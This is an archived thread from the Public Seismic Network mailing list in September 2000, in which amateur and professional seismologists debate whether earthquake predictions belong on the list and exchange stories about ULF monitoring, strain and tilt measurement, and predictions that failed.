wrote: > > Hi Larry, thanks for the intervention. I support your comments. > > FYI, the PSN has had two encounters with predictions in the past. Both > resulted in the group being cast into the position where we had to defend > our groups intentions including it's internal communications. One incident > involved Jack Cole who got the news media in a "news story feeding frenzy" > after Jack reported he could predict earthquakes when his stereo speakers > popped and crackled and the other was a fellow that posted information about > the AEC drilling tunnels along the fault lines to test atomic weapons, > predicting the testing would continue. Each time there was an earthquake, > that guy would claim it was another AEC test along the Hayward or SA fault. > > Let me get to the point. As a group the routinely reaches out to help > schools, libraries, and children's museums, one of the things we forget to > consider is that several young kids read our comments because they have an > interest in learning about earthquakes. Most don't know how to extract the > fact from the not so factual information being presented. Let me relate a > true story to you. After one of Jack Cole's predictions, predicting a great > earthquake in the San Francisco Bay area, a nine year old that lived across > the street showed up at my door. She knew I recorded earthquakes and wanted > to know what I thought. She was frightened, having lost a lot of sleep over > Jack's predications. We talked on the front step for awhile and after she > left she brought back three other kids from the block. I repeated the same > lecture on earthquakes, plate tectonics, and earthquake frequency along any > given fault line. Larry, you might remember this story because you were a > part of the discussion that ensued. > > We talked it around in the group and came up with a plan. 1) Only God and > the State Board of Emergency Services was allowed to make earthquake > predictions that included the PSN. 2) Any real prediction would have the > exact time, place, depth, and size and be supported by accepted scientific > evidence. For example, if you look at the Parkfield prediction done by Al > Lynd at the USGS, it contains each of these components and is supported by > scientific study. I for one still feel that the Parkfield event will occur > and what I would really like to know is why it has not in the given time > frame. > > I view this new current round of predictions as being more theatrical in > nature and a grab for the spotlight because of the way they have been > presented. I don't feel the predictions are supported by scientific evidence > and therefor are premature until a hypothesis has been clearly stated and > proven statistically to be valid. I think a good spot for these predictions > would be on Canie's site. Thanks Canie-- Because there, they will be posted > in a context that is of a predictive nature and understood to be outside the > current bounds of seismology and the construction and operation of home > built seismographs. > > Regards, Steve Hammond PSN San Jose > Aptos, California > > -----Original Message----- > From: Canie > To: psn-l@.............. > Date: Sunday, September 17, 2000 3:37 PM > Subject: Re: Earthquake prediction messages > > >Hi Larry, > > > >I host a web site that is dedicated to the sort of quake prediction posts > >that are being made to the list. > > > >We limit who we allow to post due to obvious abusive communications that > >are possible on this subject, therefore people need to register prior to > >posting - its a one time registration and all e-mail addresses are kept > >confidential. > > > >Alan Jones is also one of our readers/posters who evaluated predictions. > > > >Anyone interested in posting their predictions should go to this site and > >register: > >http://www.earthwaves.org/wwwboard/wwwboard.html > > > >Canie > > > >At 12:18 PM 9/17/00 -0700, Larry Cochrane wrote: > >>All, > >> > >>I just sent an email asking the person who is sending the earthquake > >>"predictions" messages too stop posting to our list. In my opinion, and > >>others, these message are off topic. > >> > >>Having said that, and trying to keep an open mind about predicting > >>earthquakes, I don't want to totally stop all prediction posts. If > someone > >>comes up with some equipment or away of making accurate predictions, I for > >>one would like to hear about it since I live near large active faults! I > >>just don't think earthquakes are predictable, so I'm not holding my breath > >>for this to happen. > >> > >>If someone is going to make a prediction it has to be as precises as > >>possible with a location, time frame and magnitude range. All three > >>parameters must be met before the prediction can be considered a "hit". If > >>the predictor predicts a magnitude 5 and a magnitude 2.5 happens in the > >>time frame and location that doesn't count etc... > >> > >>Regards, > >>Larry Cochrane > >>Redwood City, PSN > >> > >>__________________________________________________________ > >> > >>Public Seismic Network Mailing List (PSN-L) > >> > >>To leave this list email PSN-L-REQUEST@.............. with > >>the body of the message (first line only): unsubscribe > >>See http://www.seismicnet.com/maillist.html for more information. > > > >__________________________________________________________ > > > >Public Seismic Network Mailing List (PSN-L) > > > >To leave this list email PSN-L-REQUEST@.............. with > >the body of the message (first line only): unsubscribe > >See http://www.seismicnet.com/maillist.html for more information. > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Earthquake prediction messages From: twleiper@........ Date: Sun, 17 Sep 2000 23:55:13 -0400 On Sun, 17 Sep 2000 20:31:54 -0700 JD Cooley writes: > I agree with Larry and others that earthquake predictions do not > belong on > Now, this ficticious method predicts a M7.1 earthquake within 25 miles of San > Francisco on September 27, 2000. Of course, how far ahead of the > predicted quake the prediction is made is important, but let's say it was made > today, September 17, 2000. So, we have 10 days! What does the government > do about this? Do we evacuate all of the people from a 25-mile radius > from San Francisco from September 23 though October 1? NO ! We just make sure Lois Lane is on vacation out there for the entire time period. If the quake actually occurs, Superman will: 1. Put the fault back in place 2. Rescue the children in the school bus teetering over the side of the G.G. Bridge 3. Fill the valley with bolders so the flood from the broken damn will not wipe out the town 4. Fly around the earth faster than the speed of light and cause the quake to not occur in the first place __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Earthquake prediction messages From: "steve hammond" shammon1@............. Date: Sun, 17 Sep 2000 21:42:21 -0700 Arie, I want to make sure we don't confuse the concepts of contributing and gaining knowledgeable insight from other's and making predictions. I can site one real important ULF record. It was recorded just before the Loma Prieta earthquake. There is also ULF gear down at Parkfield. My concern is with making predictions that serve to worry people not ULF or doing something different. This is how I view ULF-- Other's will have to speak up if they feel the need. There are a lot of people in the PSN that feel there is something worth looking into when it comes to ULF. In 1990 when the original PSN BBS in San Jose was started, there was a ULF upload subdirectory and Steve Nicholas and a few other's uploaded a lot of files. So we have a history here. The PSN does ULF too. If you would like, I still have the ULF data file that Steve uploaded and I could ship them to you if you would like to get a look. Send me your address off-line. Regards, Steve Hammond PSN San Jose Aptos, California -----Original Message----- From: Arie Verveer To: psn-l@.............. Date: Sunday, September 17, 2000 9:15 PM Subject: Re: Earthquake prediction messages >Hi, Good remarks all around. It is important to distinguish between >science and the views of individuals. I for one monitor the ULF >background radiation and on occasions have found some remarkable >coincidences between large quakes and activity on this wave band. >It has been reported by some researchers that there can be an increase >in the ULF-ELF background prior to quakes. What concerns me, how >does the PSN community views my occasional postings to event list >with some interesting ULF data. > >For example, today I have posted to files (000916a.au2, 000916a.au4) >one file is a local quake and the other is the ULF - ELF background >over the same time period. The observable pluses in the ULF - ELF >data would appear to be related to the solar activity and its influence >on our magnetic field. But what is very interesting is the quake occurred >at the same time as the magnet pulse. From this, maybe, one can conclude >that a quake can be triggered by a change in the magnetic field. If this >is true then this a an interesting find. By the way there is another local >quake today, that occurred during a magnetic storm ? > >From what I have observed in the ULF record, it would appear that on some >occasions there are ULF (magnetic) emanations from some big quakes. Generally >deeper than 33 km. As for shallow quakes, nothing has been recorded. > >This type of research, in my option is worth doing but it can be easily tarnished >by the "prediction" people. Though I don't totally dismiss there claims, It is >known that ELF- ULF (magnetic) field variations can in be perceived by individuals. >It may be one some level that some rare people perceive something and animals may >also perceive the ULF - ELF (magnetic) background. Remember many creatures use the >earth magnetic field to navigate. > >So the question is, what is acceptable to the PSN community? Difficult question. >The local ULF background may one day give an indication that something is going on, but >in my opinion would not give a location of a quake or even its exact time. > >Cheers > >Arie > > > >>steve hammond wrote: >> >> Hi Larry, thanks for the intervention. I support your comments. >> >> FYI, the PSN has had two encounters with predictions in the past. Both >> resulted in the group being cast into the position where we had to defend >> our groups intentions including it's internal communications. One incident >> involved Jack Cole who got the news media in a "news story feeding frenzy" >> after Jack reported he could predict earthquakes when his stereo speakers >> popped and crackled and the other was a fellow that posted information about >> the AEC drilling tunnels along the fault lines to test atomic weapons, >> predicting the testing would continue. Each time there was an earthquake, >> that guy would claim it was another AEC test along the Hayward or SA fault. >> >> Let me get to the point. As a group the routinely reaches out to help >> schools, libraries, and children's museums, one of the things we forget to >> consider is that several young kids read our comments because they have an >> interest in learning about earthquakes. Most don't know how to extract the >> fact from the not so factual information being presented. Let me relate a >> true story to you. After one of Jack Cole's predictions, predicting a great >> earthquake in the San Francisco Bay area, a nine year old that lived across >> the street showed up at my door. She knew I recorded earthquakes and wanted >> to know what I thought. She was frightened, having lost a lot of sleep over >> Jack's predications. We talked on the front step for awhile and after she >> left she brought back three other kids from the block. I repeated the same >> lecture on earthquakes, plate tectonics, and earthquake frequency along any >> given fault line. Larry, you might remember this story because you were a >> part of the discussion that ensued. >> >> We talked it around in the group and came up with a plan. 1) Only God and >> the State Board of Emergency Services was allowed to make earthquake >> predictions that included the PSN. 2) Any real prediction would have the >> exact time, place, depth, and size and be supported by accepted scientific >> evidence. For example, if you look at the Parkfield prediction done by Al >> Lynd at the USGS, it contains each of these components and is supported by >> scientific study. I for one still feel that the Parkfield event will occur >> and what I would really like to know is why it has not in the given time >> frame. >> >> I view this new current round of predictions as being more theatrical in >> nature and a grab for the spotlight because of the way they have been >> presented. I don't feel the predictions are supported by scientific evidence >> and therefor are premature until a hypothesis has been clearly stated and >> proven statistically to be valid. I think a good spot for these predictions >> would be on Canie's site. Thanks Canie-- Because there, they will be posted >> in a context that is of a predictive nature and understood to be outside the >> current bounds of seismology and the construction and operation of home >> built seismographs. >> >> Regards, Steve Hammond PSN San Jose >> Aptos, California >> >> -----Original Message----- >> From: Canie >> To: psn-l@.............. >> Date: Sunday, September 17, 2000 3:37 PM >> Subject: Re: Earthquake prediction messages >> >> >Hi Larry, >> > >> >I host a web site that is dedicated to the sort of quake prediction posts >> >that are being made to the list. >> > >> >We limit who we allow to post due to obvious abusive communications that >> >are possible on this subject, therefore people need to register prior to >> >posting - its a one time registration and all e-mail addresses are kept >> >confidential. >> > >> >Alan Jones is also one of our readers/posters who evaluated predictions. >> > >> >Anyone interested in posting their predictions should go to this site and >> >register: >> >http://www.earthwaves.org/wwwboard/wwwboard.html >> > >> >Canie >> > >> >At 12:18 PM 9/17/00 -0700, Larry Cochrane wrote: >> >>All, >> >> >> >>I just sent an email asking the person who is sending the earthquake >> >>"predictions" messages too stop posting to our list. In my opinion, and >> >>others, these message are off topic. >> >> >> >>Having said that, and trying to keep an open mind about predicting >> >>earthquakes, I don't want to totally stop all prediction posts. If >> someone >> >>comes up with some equipment or away of making accurate predictions, I for >> >>one would like to hear about it since I live near large active faults! I >> >>just don't think earthquakes are predictable, so I'm not holding my breath >> >>for this to happen. >> >> >> >>If someone is going to make a prediction it has to be as precises as >> >>possible with a location, time frame and magnitude range. All three >> >>parameters must be met before the prediction can be considered a "hit". If >> >>the predictor predicts a magnitude 5 and a magnitude 2.5 happens in the >> >>time frame and location that doesn't count etc... >> >> >> >>Regards, >> >>Larry Cochrane >> >>Redwood City, PSN >> >> >> >>__________________________________________________________ >> >> >> >>Public Seismic Network Mailing List (PSN-L) >> >> >> >>To leave this list email PSN-L-REQUEST@.............. with >> >>the body of the message (first line only): unsubscribe >> >>See http://www.seismicnet.com/maillist.html for more information. >> > >> >__________________________________________________________ >> > >> >Public Seismic Network Mailing List (PSN-L) >> > >> >To leave this list email PSN-L-REQUEST@.............. with >> >the body of the message (first line only): unsubscribe >> >See http://www.seismicnet.com/maillist.html for more information. >> >> __________________________________________________________ >> >> Public Seismic Network Mailing List (PSN-L) >> >> To leave this list email PSN-L-REQUEST@.............. with >> the body of the message (first line only): unsubscribe >> See http://www.seismicnet.com/maillist.html for more information. >__________________________________________________________ > >Public Seismic Network Mailing List (PSN-L) > >To leave this list email PSN-L-REQUEST@.............. with >the body of the message (first line only): unsubscribe >See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Prediction Messages vs Observation Reports From: "Erich Kern" efkern@............. Date: Sun, 17 Sep 2000 21:59:37 -0700 Hi All, I think it's important we make a distinction between posts to the list which are presented as "predictions", and those of Arie and others which simply report observations for the interest of other list members. I find the latter of personal interest. Some day, I'll do some ULF monitoring of my own since we live 35 miles west of the So. Cal. segment of the San Andreas which hasn't had a good shake since 1857. Best Regards, Erich Kern ********************************************************* Please visit our web site at: http://www.fatquarterssoftware.com ********************************************************* __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: predictions From: ddiffenderfer@........ Date: Sun, 17 Sep 2000 22:10:06 -0700 I live about 100 miles east of the San Andreas in Southern California at Palo Verde and remain interested in predictions done scientifically. So far I am not aware of anyone that can predict quakes with any accuracy by any method. David. W. Diffenderfer ddiffenderfer@........ __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re solar/lunar gravitationa From: Mariotti Mauro mariottim@............ Date: Mon, 18 Sep 2000 09:43:20 +0200 Sean-Thomas, i kindly request an explanation, since i'm not expert on mathematics and seismic and astronomy... But when you said At 13.27 13/09/2000 -0500, you wrote: >Re solar/lunar gravitational forces with respect to earthquakes: > > >The stress in the earths' crust results in strain and tilts of the >order of 10^-7, and are so predictable that routine calculations of >them are used to calibrate broadband instruments. Over the years >many efforts have been made to correlate earthquake occurrence or What is 10^-7 ? degrees, meters, what? Sorry for the question, maybe it's stupid but.... Thank you Mauro __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Earthquake prediction messages From: Ed Thelen ethelen@........ Date: Mon, 18 Sep 2000 01:49:54 -0700 Larry Cochrane wrote: > > All, > > I just sent an email asking the person who is sending the earthquake > "predictions" messages too stop posting to our list. In my opinion, and > others, these message are off topic. .... Some fun folklore about recent attempts at earthquake predictions. 1973 In 1973 I attended a meeting conducted by the San Jose, California city geologist who was attempting to correlate inches of lost&found advertisements for lost animals in various newspapers with earthquake reports. Trying to see if cats and dogs left home (got lost) more often before earthquakes. (current folklore) He reported that the powers in U.S.G.S. (United States Geological Survey) demanded that at least the following (dimly remembered) conditions be satisfied to be a successful earthquake prediction. Location - within 5 kilometers Time - within 6 hours Magnitude - within 0.5 Richter and also some other conditions eliminating major earthquake aftershocks. And of course some repeatability and few misses or errors. 1975 About 1975, there was a quite well publicized investigation based from ?Stanford University? ?USGS? asking people to phone if their animal * was currently * acting odd. They were not interest in after the earthquake reports of odd actions. I understand the correlation between calls and earthquakes was no better than expected statistical coincidence. More recently - observing Radon and/or Helium escaping from water wells & also water level in water wells. - observing very low frequency magnetic effects OH, and the famous Palmdale Bulge/Parkfield event -- the earthquake that cerainly did not go as predicted, (I believe we have been waiting for it for a decade). ---------------------------- Being a bit of a wild hair, I think that we owe a strained thanks to the poor souls whose predictions have been so troubled. They help remind us that even with: - wonderfully improving instruments, instrument networks and data networks, - serious studies of earth strains with ever improving equipment, accuracy, ease and sophistication - serious studies of earth materials at high pressures and stresses - the ever improving computer based modeling, displays, storage, processing, analyzing, ... - ... we humans seem no closer to useful earthquake predictions. ------------------------------------ So, we have heard this guy out, and understand his game. Time for a break. Best Regards Ed Thelen __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Re solar/lunar gravitationa From: Ed Thelen ethelen@........ Date: Mon, 18 Sep 2000 03:06:06 -0700 Mariotti Mauro wrote: > > Sean-Thomas, > i kindly request an explanation, since i'm not expert on mathematics > and seismic and astronomy... This is not Sean-Thomas, and I certainly cannot answer for him - but I've got some fun info on the subject. Read on (please) > > But when you said > > At 13.27 13/09/2000 -0500, you wrote: > >Re solar/lunar gravitational forces with respect to earthquakes: > > > > > >The stress in the earths' crust results in strain and tilts of the > >order of 10^-7, and are so predictable that routine calculations of > >them are used to calibrate broadband instruments. Over the years > >many efforts have been made to correlate earthquake occurrence or > > What is 10^-7 ? > > degrees, meters, what? G's, units of earth gravity - > > Sorry for the question, maybe it's stupid but.... Heck no, vital! With out the units you have nothing. Now the fun - or troubled fun - In the January 2000 "Scientific American" Amateur Scientist section http://www.sciam.com/2000/0100issue/0100amsci.html is an interesting article "Detecting Extraterrestrial Gravity" which describes a home buildable instrument hopefully capable of detecting the effect of the sun's and moon's gravity on the local earth gravity you and I feel. It is a clever scheme involving magnetic repulsion (hopefully constant) vs local gravitational effect. The necessary current to correct for the changes of local gravity can be measured. I did some quick calculations and figured that the moon's gravity at the earth's surface was about 10^-4 the earth's gravity. (The effect of the sun is roughly the same - off by a factor of about 2 or so.) I figured that I could duplicate the instrument, and with care, observe a 1/10,000 effect - probably. THE BAD NEWS - and lots of it. a) I lost an argument about the size of the effect I had to measure! Because the earth falls toward the moon due to the moon's gravity, the effect you have to measure is the DIFFERENCE between - the moon's gravity at the center of the earth (which is about the gravity causing the earth to fall towards the moon) - the moon's gravity at your point on the surface of the earth. The above subtraction yields about 10^-7 g's. That is REAL SERIOUS instrument building in a field of 1 gravity, by an amateur, or anyone. (In)Stability of temperature, magnetic fields, electronics, tilt of the instrument, and almost everything can eat you alive. The machine is also an excellent vertical seismometer. Because of its tilt sensitivity it is also an excellent sensor of the wind's torque on your house, and ... All you have to do is separate all of the various effects from eachother ;-) oh yes. AND MORE TROUBLE b) The guy that made the machine and reported to the author of the article was inadvertently "seeing" errors due to temperature differences day and night, and not the effect he thought he was seeing. And that is not much fun either, especially when the magazine is printed and in the mail! So - to see the resulting turmoil, you might wish to go to http://web2.thesphere.com/SAS/WebX.cgi?13@.................... And be kind! Fate can do the same to you and me ;-) I related the above true story in part to help emphasize the relatively tiny effect major bodies relative the the earth exert on the earth. The astrologers who figure that the position of Mars relative to the earth is important to some fetus have has some tall explaining to do. (Assuming we are talking of gravity of course. If we are not - then we are into Social "Science". ;-) Best Wishes Ed Thelen > > Thank you > > Mauro __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Earthquake Prediction From: Doug Crice dcrice@............ Date: Mon, 18 Sep 2000 07:06:34 -0700 Back in the mid 1960's, when I was in my mid 20's, I was an Engineering Tech with the department of water resources, I had the job of analyzing crustal strain measurements across the San Andreas Fault. The data were annual measurements with a Geodimeter of the distance between mountain tops, such as Mt. Hamilton to Loma Prieta (30 Km) and down to Palm Springs. The basic accuracy was better than 1 part/million, or about a cm on a 20 Km line, plus the onerous temperature error, 1 part/million/deg C. One of the staff programers wrote me a little program that looked for anything unusual, based on the expected value and the historical error on a particular line. This program, running on an IBM 1620, would print out "EARTHQUAKE COMING" on the data tabulation for any particular line. I kept a chart on my wall of predicted earthquakes, and hit on about three of them. Remember, we're predicting earthquakes in California with data taken once a year, so statistics were on my side. Our group manager read the chart, and perhaps having too much confidence in a young kid, announced one of the predictions at the AGU meeting. It made a good sized article in the San Francisco Chronicle. As you would expect, that particular earthquake didn't happen. Of course you don't get fired when you work for the government, but the Department of Water Resources eliminated his position from the budget next year and he went on to other things. The Geodimeter program was later taken on by the USGS, and they still do a lot of Geodimeter work, but they haven't found anything significant. I personally thought our problem was the long sample (one year typical) between measurements, so you had to be lucky to catch an earthquake. Back then of course, only sooth sayers predicted earthquakes. It was some years before the USGS decided that prediction was politically correct and fell on their face at Parkfield. Interestingly enough, I did have a pretty solid prediction of an earlier earthquake near Loma Prieta (the 196? Corralitos Earthquake), where the mountain actually bumped over about 10 cm from its expected position a short time before the earthquake. If you examine the USGS data for Loma Prieta, prior to the 1989 earthquake, you can see a similar pulse in the data. My program would have flagged the 1989 Loma Prieta Earthquake prior to the event. The USGS used a different prediction criteria and they reported "no prediction" even though it is obvious in the data. By the way, we did Parkfield before Parkfield was cool. The data said that the fault was just ripping along North of Parkfield, and locked up just South. We created and measured a large pentagon of Geodimeter lines in the area of interest before the Parkfield earthquake, and then came back and measured it again after the Parkfield earthquake, so you could say we predicted that one too and backed it up with some effort. It was all written up in a DWR Bulletin, but it was never referenced much because our leader was so discredited by his failed prediction. I wrote the report though, and it's good solid information on fault movement in California for that 10-year period. -- Doug Crice http://www.georadar.com 19623 Via Escuela Drive phone 408-867-3792 Saratoga, California 95070 USA fax 408-867-4900 __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Earthquake prediction messages From: "Robert W. Avakian" ravakian@............ Date: Sun, 17 Sep 2000 22:30:19 -0500 And where do we discuss and counter predictions such as the ones that caused schools to be shut down in the New Madrid area several years ago? As an educator I'd rather see predictions and predicting individuals on this site where we can politely (hint, hint) discuss and debunk their ideas if necessary. I have had time to just barely skim Canie's site, (and it looks quite well done and interesting), but I didn't see an obvious place to go for critical analysis of the ideas on the site. What better way to communicate an accurate picture to educators and students than to confront the claims and show them being analized and evaluated by the experienced professional talent we have on PSN? Who better to evaluate these claims? Unless I miss my guess, the number of prediction posts has not been excessive so far, Let's use the CSICOP model and deal with the occasional problem instead of ignoring it. If after being suitable evaluated, individuals insist on intruding their ideas oupn the list, we can then restrict their access Oh, and let's be polite out there. I teach my students that ad hominum attacks ("If you don't understand that simple principle then you must be as stupid as a ..."), or claims of persecution (The car manufactures and Oil companies are supressing my 100 mile per gallon carburator because ....")usually indicate either dogmatism or logically weak arguments. Thanks for everyone's time. Bob Avakian investigate steve hammond wrote: > > Hi Larry, thanks for the intervention. I support your comments. > > FYI, the PSN has had two encounters with predictions in the past. Both > resulted in the group being cast into the position where we had to defend > our groups intentions including it's internal communications. One incident > involved Jack Cole who got the news media in a "news story feeding frenzy" > after Jack reported he could predict earthquakes when his stereo speakers > popped and crackled and the other was a fellow that posted information about > the AEC drilling tunnels along the fault lines to test atomic weapons, > predicting the testing would continue. Each time there was an earthquake, > that guy would claim it was another AEC test along the Hayward or SA fault. > > Let me get to the point. As a group the routinely reaches out to help > schools, libraries, and children's museums, one of the things we forget to > consider is that several young kids read our comments because they have an > interest in learning about earthquakes. Most don't know how to extract the > fact from the not so factual information being presented. Let me relate a > true story to you. After one of Jack Cole's predictions, predicting a great > earthquake in the San Francisco Bay area, a nine year old that lived across > the street showed up at my door. She knew I recorded earthquakes and wanted > to know what I thought. She was frightened, having lost a lot of sleep over > Jack's predications. We talked on the front step for awhile and after she > left she brought back three other kids from the block. I repeated the same > lecture on earthquakes, plate tectonics, and earthquake frequency along any > given fault line. Larry, you might remember this story because you were a > part of the discussion that ensued. > > We talked it around in the group and came up with a plan. 1) Only God and > the State Board of Emergency Services was allowed to make earthquake > predictions that included the PSN. 2) Any real prediction would have the > exact time, place, depth, and size and be supported by accepted scientific > evidence. For example, if you look at the Parkfield prediction done by Al > Lynd at the USGS, it contains each of these components and is supported by > scientific study. I for one still feel that the Parkfield event will occur > and what I would really like to know is why it has not in the given time > frame. > > I view this new current round of predictions as being more theatrical in > nature and a grab for the spotlight because of the way they have been > presented. I don't feel the predictions are supported by scientific evidence > and therefor are premature until a hypothesis has been clearly stated and > proven statistically to be valid. I think a good spot for these predictions > would be on Canie's site. Thanks Canie-- Because there, they will be posted > in a context that is of a predictive nature and understood to be outside the > current bounds of seismology and the construction and operation of home > built seismographs. > > Regards, Steve Hammond PSN San Jose > Aptos, California > > -----Original Message----- > From: Canie > To: psn-l@.............. > Date: Sunday, September 17, 2000 3:37 PM > Subject: Re: Earthquake prediction messages > > >Hi Larry, > > > >I host a web site that is dedicated to the sort of quake prediction posts > >that are being made to the list. > > > >We limit who we allow to post due to obvious abusive communications that > >are possible on this subject, therefore people need to register prior to > >posting - its a one time registration and all e-mail addresses are kept > >confidential. > > > >Alan Jones is also one of our readers/posters who evaluated predictions. > > > >Anyone interested in posting their predictions should go to this site and > >register: > >http://www.earthwaves.org/wwwboard/wwwboard.html > > > >Canie > > > >At 12:18 PM 9/17/00 -0700, Larry Cochrane wrote: > >>All, > >> > >>I just sent an email asking the person who is sending the earthquake > >>"predictions" messages too stop posting to our list. In my opinion, and > >>others, these message are off topic. > >> > >>Having said that, and trying to keep an open mind about predicting > >>earthquakes, I don't want to totally stop all prediction posts. If > someone > >>comes up with some equipment or away of making accurate predictions, I for > >>one would like to hear about it since I live near large active faults! I > >>just don't think earthquakes are predictable, so I'm not holding my breath > >>for this to happen. > >> > >>If someone is going to make a prediction it has to be as precises as > >>possible with a location, time frame and magnitude range. All three > >>parameters must be met before the prediction can be considered a "hit". If > >>the predictor predicts a magnitude 5 and a magnitude 2.5 happens in the > >>time frame and location that doesn't count etc... > >> > >>Regards, > >>Larry Cochrane > >>Redwood City, PSN > >> > >>__________________________________________________________ > >> > >>Public Seismic Network Mailing List (PSN-L) > >> > >>To leave this list email PSN-L-REQUEST@.............. with > >>the body of the message (first line only): unsubscribe > >>See http://www.seismicnet.com/maillist.html for more information. > > > >__________________________________________________________ > > > >Public Seismic Network Mailing List (PSN-L) > > > >To leave this list email PSN-L-REQUEST@.............. with > >the body of the message (first line only): unsubscribe > >See http://www.seismicnet.com/maillist.html for more information. > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Earthquake prediction messages From: Canie Brooks canie@........... Date: Mon, 18 Sep 2000 10:08:18 -0700 Hi Robert - Thanks for the positive words - On our site we do welcome constructive criticism, not abusive flames - Like I mentioned, this can be a very emotional subject and at least I try to have a site that welcomes predictions, predictive methods whether they be scientific or psychic/sensitive and constructive adult debates. I think we are all aware that we are a long way from accurately predicting 100 percent of all earthquakes and may never achieve that type of accuracy, but there have been some legitimate inroads and some accurate predictions posted. I don't think that anyone who is working on this project would consider evacuation of an area - I really can't see evacuating over 9 million people out of Los Angeles! But we can make the public aware enough that everyone has food, water, flashlights, batteries, etc prepared and can be a supportive community in the case of an earthquake rather than a war zone when it does occur. Canie At 10:30 PM 9/17/00 -0500, Robert W. Avakian wrote: >And where do we discuss and counter predictions such as the ones that >caused schools to be shut down in the New Madrid area several years ago? > >As an educator I'd rather see predictions and predicting individuals on >this site where we can politely (hint, hint) discuss and debunk their >ideas if necessary. I have had time to just barely skim Canie's site, >(and it looks quite well done and interesting), but I didn't see an >obvious place to go for critical analysis of the ideas on the site. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Earthquake prediction messages From: Doug Welch welch@................... Date: Mon, 18 Sep 2000 13:22:14 -0400 (EDT) One way to manage the "prediction" messages is for a disinterested third party to manage a Web site which would allow predictions to be submitted and tracked. The submit form would only allow predictions confined within small numbers of days and small geographic regions and for interesting ranges of magnitudes. Submitters of predictions would need to register to post their predictions and the *rate of success* of each submitter would be prominently posted on the site, along with current predictions. Matches would be made against one standard national earthquake list automatically - no wiggle room or special pleading! Just a thought ... Doug __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: predictions From: John Hernlund hernlund@....... Date: Mon, 18 Sep 2000 11:17:03 -0700 (MST) On Sun, 17 Sep 2000 ddiffenderfer@........ wrote: > I live about 100 miles east of the San Andreas in Southern California at > Palo Verde and remain interested in predictions done scientifically. So > far I am not aware of anyone that can predict quakes with any accuracy by > any method. > David. W. Diffenderfer > ddiffenderfer@........ Hi All, I just moved to LA, and have just been going through the messages concerning prediction. This is a very interesting topic indeed. I had the pleasure of attending a symposium last week which went through several statistical models and fancy number schemes which may be applied to prediction. The best talk was given by Dave Jackson, who has been interested in this topic for some time now. He used only raw data from the past to try and model future activity...and the result: you have a better idea of earthquake risk from looking at a map of previous seismicity than just about any other method. I think that anybody will find this simple method hard to beat! There have been many studies over the years, with little success. One such was that a temporal gap in seismicity should usually preclude a large earthquake. However, looking at plots of the rates of seismicity for many fault zones it was easy to see that this rarely works. There are also papers I have seen that report ULF magnetic field variations, but this stuff is still locked into the problem of "statistics of small numbers" and has to be studied much further to understand both the mechanism for changing the magnetic field as well as the character of a signal before a large quake. Also, a lot does not make sense yet to the field seismo people. For instance, a section of the San Andreas is creeping and just next to it is a section which is locked. How the kinematics of the transition between the two styles along the fault work is anyone's guess. Recently this year, I sent two references to the group from a paper in Science and one from Nature that report annual variations in seismicity for some spherical modes and also for aftershocks following the Landers quake. This is probably some kind of atmospheric effect which is not totally understood either. Another paper coming out soon shows that the San Andreas speeds up and slows down in its average motion over time...so I guess what I am trying to say is that there is a lot about earthquakes that is not yet understood. New information and findings are constantly coming in, any of which can effect the over all processes. ****************************************************************************** John Hernlund Department of Earth and Space Sciences University of California, Los Angeles E-mail: hernlund@....... or hernlund@............ WWW: http://www.public.asu.edu/~hernlund/ ****************************************************************************** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: strain and tilt units From: sean@........... Date: Mon, 18 Sep 2000 14:15:24 -0500 (CDT) Mauro, There is no such thing as a dumb question, and not responding could be dangerous, as my parents often found out when I asked such obvious childhood questions as how an alarm clock worked and they didn't respond, so I took it apart to find out. (I really got into trouble with the tube radio). I assume that you know that 10^-7 means 0.000 000 01, or one part in 1/10 th of a million. Strain and tilt are generally considered dimensionless, although the small angle approximation that sine(i) = i (in radians), means that tilt is represented in microradians (a radian is 360 degrees/ (2* pi)); Strain is the change in length over a distance divided by that distance. So a change of 1 micron over 1 meter is a strain of 10^-6, or 1 microstrain. To measure it, some stable reference length, like quartz rods or laser interferometers, are used to determine the distance, and some sensitive transducer is used to compare the reference length with the actual length of the piece of earth in question. One of my earliest projects involved 100 ft quartz tube strainmeters deep in a lead mine in Missouri. Some of the best laser/optical strainmeters are run by UCSD at LaJolla, where lasers in 750 meter vacuum tubes have resolutions of 10^-9 and annual stability of 10^-6. The new LIGO (Laser Interferometer Gravitational Wave Observatories) use multi-path laser interferometers 4 kilometers per arm to try to detect gravitational waves from supernovas, colliding black holes, etc., that will strain the earth at 10^-18 to 10^-21. This megabucks NSF project has two LIGOs (Washington state and Louisiana), to sort out non-deep-space noise. Tilt has a similar definition of the change in elevation at one end of a reference length divided by that length. So if I balance a 30 cm ruler at the hole in the center, the length to the end is 150 mm. If I can measure any change in height at the free end to within 0.1 mm, this would be a tilt of 0.1/150 or 0.00067 radians, or 6.7 x 10^-4. The usual units of tilt are in microradians, or 10^-6. The geodetic tiltmeters that I had installed as part of the USGS "prediction" effort in the '80s (in the Aleutians, at Parkfield, and almost at the Palmdale bulge before Dave Jackson at UCLA found it to be a surveying artifact), have resolutions of 10^-9, and annual stability if 10^-6, so the earth tides at 10^-7 are a ready calibration signal for which we have accurate computer models for comparison. The annual stability of 10^-6 was the best we could get three co-sited instruments to agree, and was much larger than what models of tectonic deformation indicated for pre-earthquake deformation. The largest coherent signal was the annual rainfall hydrology. I have submitted an abstract to the AGU meeting regarding the new dynamic broadband tiltmeter that senses pure 